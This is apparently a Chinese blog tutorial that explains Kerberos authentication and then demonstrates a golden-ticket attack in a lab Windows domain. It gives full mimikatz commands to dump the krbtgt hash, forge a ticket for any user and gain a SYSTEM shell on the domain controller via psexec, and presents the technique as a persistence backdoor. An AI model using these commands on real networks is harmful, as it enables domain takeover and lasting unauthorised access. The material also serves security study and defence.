域渗透之(黄金票据利用)

标签: windows安全  windows service  局域网

前言:

这里先介绍下Kerberos协议:
Kerberos是一种由MIT(麻省理工大学)提出的一种网络身份验证协议。它旨在通过使用密钥加密技术为客户端/服务器应用程序提供强身份验证。
Kerberos协议中主要是有三个角色的存在:
1:访问服务的Client(用户的机器客户端)
2:提供服务的Server(服务端)
3:KDC(Key Distribution Center)密钥分发中心其中KDC服务默认会安装在一个域的域控中,而Client和Server为域内的用户或者是服务,如HTTP服务,SQL服务,远程桌面服务。在KerberosClient是否有权限访问Server端的服务由KDC发放的票据来决定。

Kerboeros工作原理

如下图所示:
在这里插入图片描述

1:ClientKDC发起AS_REQ请求内容为通过Client密码Hash 加密的时间戳、ClientID、网络地址、加密类型等内容。

2:KDC使用Client hash进行解密,并在ntds.dit(只有域控中才有的数据库)中查找该账户,如果结果正确就返回用krbtgt NTLM-hash加密的TGT票据,TGT里面包含PACPAC包含ClientsidClient所在的组。

注释:PAC的全称是Privilege Attribute Certificate(特权属性证书)。不同的账号有不同的权限,PAC就是为了区别不同权限的一种方式。

3:Client(客户端)凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求。

4:KDC使用krbtgt NTLM-hash进行解密,如果结果正确,就返回用服务NTLM-hash 加密的TGS票据,并带上PAC返回给Client(客户端)(这一步不管用户有没有访问服务的权限,只要TGT正确,就返回TGS票据)。

TGT:认证票据
TGS:票据发放服务

5:此时client拿着KDC给的TGS票据去请求服务。
6:服务端使用自己的NTLM-hash解密TGS票据。如果解密正确,就拿着PACKDC那边问Client有没有访问权限,域控解密PAC。获取Clientsid,以及所在的组,再根据该服务的ACL,判断Client是否有访问服务的权限。
至此,就是登录域控中Kerberos协议的工作流程,看起来可能点绕,根据我上面的贴图,一步步的看还是比较好理解的。

实验步骤

主域控:windows server 2008 IP地址:192.168.107.146
域内机器(Client):windows server 2008 IP地址:192.168.107.164

通过上面工作原理得知,我们这里只要伪造第三步,也就是TGT票据即可。
首先我们 需要先从域控中,或者是域内其他Client中导出krbtgt用户的hash,这里需要注意的是,krbtgt用户只有在域控中才会存在。
当然了如果你有域控管理员的其他账号,也是可以登录其他域其他机器来使用mimikatz.exe导出hash的。
在这里插入图片描述
第一步::在域控内导出krbtgt用户的hashsid(使用mimikatz.exe工具):

lsadump::dcsync /domain:hydra.com /user:krbtgt    domian:后面是域控名  user后面是krbtgt用户

在这里插入图片描述
2:在域内其他Client(用户机器)上使用其他域管理员来抓取krbtgt用户的hashsid(使用mimikatz.exe工具),这里命令和上面的命令是一样的,最后抓取的hash也是和上面一样的,这里我就不贴图了。
在这里插入图片描述
第二步:.清除自己Client端(域内其他机器)的票据。
我们在域控上面成功抓取了hash和sid,将hash和sid复制到其他域内机器中,也就是Client端,然后在mimikatz.exe执行kerberos::list查看我们当前的票据。
在这里插入图片描述
然后在mimikatz.exe执行:kerberos::purge 意思就是清空当前用户登录的票据,通过下面的图片看到清空了以后,在执行list的时候,就没有任何的票据了。
在这里插入图片描述
第三步:伪造TGT票据(黄金票据)

kerberos::golden /admin:ceshi /domain:hydra.com /sid:S-1-5-21-4188752632-3746001697-3968431413 /krbtgt:524f4bed4b8a362bda1a560b9779eadf /ptt

kerberos::golden的意思是使用票据功能,/admin 后面的用户是我们可以伪造的任意用户,我这里用ceshi,/sid后面输入的就是我们之前抓到的sid,/krbtgt后面是之前抓到的hash, /ptt是立即执行到内存的意思。ps:一共有5个空格,这里需要注意下。
构造好了语句后,在Client端上执行,提示Successfully表示已经成功了。
在这里插入图片描述
第四步:通过kerberos::list查看当前票据,伪造成功(也可以通过cmd中klist查看,这里需要注意的是cmd需要用管理员的方式运行)
在这里插入图片描述在这里插入图片描述
到了这一步以后,说明我们已经成功在Client端伪造了黄金票据(在伪造的时候可以是任意用户名,我这里是ceshi)。

第五步:在Client端通过Psexec.exe工具来与主域控进行连接(对于psexec.exe工具的使用这里不多做介绍)
连接成功了以后,是直接返回一个cmd的交互式界面,并且是最高权限。
在这里插入图片描述
此时,我们就可以在当前Client端(域内机器中)来执行主域控下cmd操作,并且权限是最高的。

总结

第一步:在域控中,或者是域内机器中(域管理员用户权限登录),因为是需要抓取hash和sid的,所以必须要是管理员权限,命令如下:

lsadump::dcsync /domain:hydra.com /user:krbtgt

第二步:清除自己client端(域内其他机器)的票据:

kerberos::purge

第三步:查看票据(client端):(此时票据信息肯定是空的)

kerberos::list

第四步:伪造黄金票据(client端),这里的参数文章上面都介绍过了,这里不多介绍。

kerberos::golden /admin:ceshi /domain:hydra.com  /sid:S-1-5-21-4188752632-3746001697-3968431413 /krbtgt:524f4bed4b8a362bda1a560b9779eadf /ptt 

第五步:尝试使用psexec登录域控的cmd控制台(client端):

psexec.exe \\dc.hydra.com cmd.exe

与其说是一种攻击方式,不如说是一种后门,当域控权限掉后,在通过域内其他任意机器伪造票据重新获取最高权限。

版权声明:本文为cj_Allen原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/cj_Allen/article/details/104297452